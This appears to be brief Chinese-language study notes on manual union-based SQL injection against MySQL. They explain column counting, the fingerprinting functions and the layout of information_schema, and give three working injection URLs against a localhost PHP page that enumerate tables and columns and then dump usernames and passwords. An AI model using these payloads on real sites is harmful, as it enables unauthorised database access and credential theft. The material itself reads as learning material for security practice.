sql注入
Order by xx 猜字段数目
Union select 1,2,3,4,5,.....
查询函数:
Database() :数据库名 fanke
Version() :数据库版本 5.5.40
User() : 数据库用户 root@localhost
@@version_compile_os :操作系统 win32
Mysql5.0以上版本手工注入
Information_schema:存储mysql数据库下所有数据库的表名和列名信息的自带数据库
table_name:表名
table_schema:数据库名
column_name:列名
information_schema.tables:存储mysql数据库下所有数据库的表名信息的表
information_schema.columns:存储mysql数据库下所有数据库的列名信息的表
查询数据库名为fanke(0x66616E6B65)下面的表名信息
http://127.0.0.1/php.php?x=4%20union select table_name
,2,3,4,5 from information_schema.tables where table_schema=0x66616E6B65
查询表名为user(0x75736572)下面的列名信息
http://127.0.0.1/php.php?x=4%20union select column_name
,2,3,4,5 from information_schema.columns where table_name=0x75736572
直接获取user表下面数据
http://127.0.0.1/php.php?x=4%20union select username,password,3,4,5 from user